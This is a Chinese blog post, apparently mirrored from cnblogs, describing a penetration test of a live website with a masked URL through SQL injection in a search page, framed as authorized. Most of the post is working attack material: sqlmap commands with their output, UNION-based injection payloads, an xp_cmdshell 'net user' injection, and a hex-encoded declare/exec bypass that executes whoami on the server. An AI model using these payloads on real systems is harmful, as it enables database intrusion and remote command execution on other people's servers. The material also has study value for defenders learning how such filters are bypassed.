zoukankan      html  css  js  c++  java
  • 【sql server inject】使用动态查询执行sql语句实例

    应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉; 
    分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?

    正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!

    为了简化测试步骤,所以文章分为5次进行记录;

    0x1 sqlmap常用语句测试

    测试1目的:执行cmd命令
    测试1结果,测试初期无法连接;

    -----------------------------------------------------

         C:UsersAdministrator>sqlmap -u "http://www.****.com/Index/SearchResult.
        aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell
        回显数据包【LOG】文件
        ---
        Parameter:KeyWord(GET)
        Type:boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload:KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
        ---
        [00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server
        web server operating system:Windows2003or XP
        web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727
        back-end DBMS:Microsoft SQL Server2000
        [00:26:38][CRITICAL] unable to prompt for an interactive operating system shell
        via the back-end DBMS because stacked queries SQL injection isnot supported
    

    测试2目的:执行获取数据库名;
    测试2结果:获取成功,判断是某个关键字被过滤了。

    -----------------------------------------------------
    C:UsersAdministrator>sqlmap -u "http://www.****.com/Index/SearchResult.
    aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs
    

     回显数据包 【LOG】文件

    ---
    Parameter: KeyWord (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
    ---
    web server operating system: Windows 2003 or XP
    web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
    back-end DBMS: Microsoft SQL Server 2000
    available databases [7]:
    [*] master
    [*] model
    [*] msdb
    [*] Northwind
    [*] pubs
    [*] tempdb
    [*] w**er
    

     

    0x2 手工测试关键字过滤情况

    测试3目的:获取数据库名
    测试3结果:执行成功;

     -----------------------------------------------------

    http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -
    

    测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
    测试4结果:无法连接服务器,返回404页面;

     -----------------------------------------------------

     ;EXEC master..xp_cmdshell 'net user'-- -
    

    测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
    测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了

    -----------------------------------------------------
    http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,‘xp
    _shell’,3,4,5-- -
    

    测试目标报出的错误;

        “/”应用程序中的服务器错误。
        在关键字'And'附近有语法错误。
        说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
        异常详细信息:System.Exception:在关键字'And'附近有语法错误。
    

    解决:尝试用declare设置十六进制绕过;
    本地测试:

    -------------------
        declare @a sysname
        select@a=
        exec master.dbo.xp_cmdshell @a
    

    本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:

         SELECT TOP 2[id]
        ,[name]
        FROM [personnel].[dbo].[management];declare @a sysname select@a=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;
    

     

    本地测试结果见tu1.jpg


    测试结果:目标无回显,但执行写入文件的命令是成功了。

    http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -
    

    留下旗标;



  • 相关阅读:
    (Java) LeetCode 44. Wildcard Matching —— 通配符匹配
    (Java) LeetCode 30. Substring with Concatenation of All Words —— 与所有单词相关联的字串
    (Java) LeetCode 515. Find Largest Value in Each Tree Row —— 在每个树行中找最大值
    (Java) LeetCode 433. Minimum Genetic Mutation —— 最小基因变化
    (Java) LeetCode 413. Arithmetic Slices —— 等差数列划分
    (Java) LeetCode 289. Game of Life —— 生命游戏
    (Java) LeetCode 337. House Robber III —— 打家劫舍 III
    (Java) LeetCode 213. House Robber II —— 打家劫舍 II
    (Java) LeetCode 198. House Robber —— 打家劫舍
    (Java) LeetCode 152. Maximum Product Subarray —— 乘积最大子序列
  • 原文地址:https://www.cnblogs.com/17bdw/p/5346835.html
Copyright © 2011-2022 走看看